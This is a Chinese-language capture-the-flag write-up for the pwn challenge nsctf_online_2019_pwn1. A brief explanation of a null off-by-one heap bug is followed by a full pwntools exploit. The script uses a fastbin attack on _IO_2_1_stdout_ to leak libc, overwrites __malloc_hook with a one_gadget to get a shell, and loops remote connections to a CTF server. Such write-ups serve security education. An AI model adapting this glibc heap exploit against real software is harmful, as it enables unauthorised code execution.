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nsctf_online_2019_pwn1

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首先，检查一下程序的保护机制

然后，我们用IDA分析一下

Edit功能里存在一个null off by one漏洞

没有show功能

我们可以利用fastbin attack，修改IO_2_1_stdout的_IO_write_base，这样，当再次调用puts或printf的时候，就会泄露出_IO_write_base~_IO_write_ptr之间的数据，更详细的可以查看我的这篇博客https://blog.csdn.net/seaaseesa/article/details/105590591

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from pwn import *

#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf1147

def add(size,content):
   sh.sendlineafter('5.exit','1')
   sh.sendlineafter('Input the size:',str(size))
   sh.sendafter('Input the content:',content)

def delete(index):
   sh.sendlineafter('5.exit','2')
   sh.sendlineafter('Input the index:',str(index))

def edit(index,size,content):
   sh.sendlineafter('5.exit','4')
   sh.sendlineafter('Input the index:',str(index))
   sh.sendlineafter('Input size:',str(size))
   sh.sendafter('Input new content:',content)

def exploit():
   #0
   add(0x80,'a')
   #1
   add(0x68,'b')
   #2
   add(0xF0,'c')
   #3
   add(0x10,'d')

   delete(0)
   #null off by one
   edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90))
   #形成overlap chunk
   delete(2)
   add(0x80,'a') #0
   add(0x68,'b') #2与1重合
   add(0xF0,'c') #4
   delete(0)
   edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90))
   #重新形成overlap chunk
   delete(4)

   #chunk1放fastbin
   delete(1)
   #main_arena指针传递到chunk1的fastbin的fd
   add(0x80,'a') #0
   #0重新放入unsorted bin合并
   delete(0)
   #低字节覆盖fd，使得有一定几率指向_IO_2_1_stdout_附近
   add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) #0
   add(0x68,'b') #1
   #申请到stdout上方，篡改stdout达到数据泄露
   payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
   add(0x59,payload) #4
   libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']
   if libc_base >> 40 != 0x7F:
      raise Exception('error leak!')
   malloc_hook_addr = libc_base + malloc_hook_s
   one_gadget_addr = libc_base + one_gadget
   print 'libc_base=',hex(libc_base)
   print 'malloc_hook_addr=',hex(malloc_hook_addr)
   print 'one_gadget_addr=',hex(one_gadget_addr)
   delete(1)
   edit(2,0x8,p64(malloc_hook_addr - 0x23))
   add(0x68,'b') #1
   #申请到malloc_hook-0x23处
   add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) #5
   #getshell
   sh.sendlineafter('5.exit','1')
   sh.sendlineafter('Input the size:','1')


while True:
   try:
      global sh
      #sh = process('./nsctf_online_2019_pwn1')
      sh = remote('node3.buuoj.cn',26396)
      exploit()
      sh.interactive()
   except:
      sh.close()
      print 'trying...'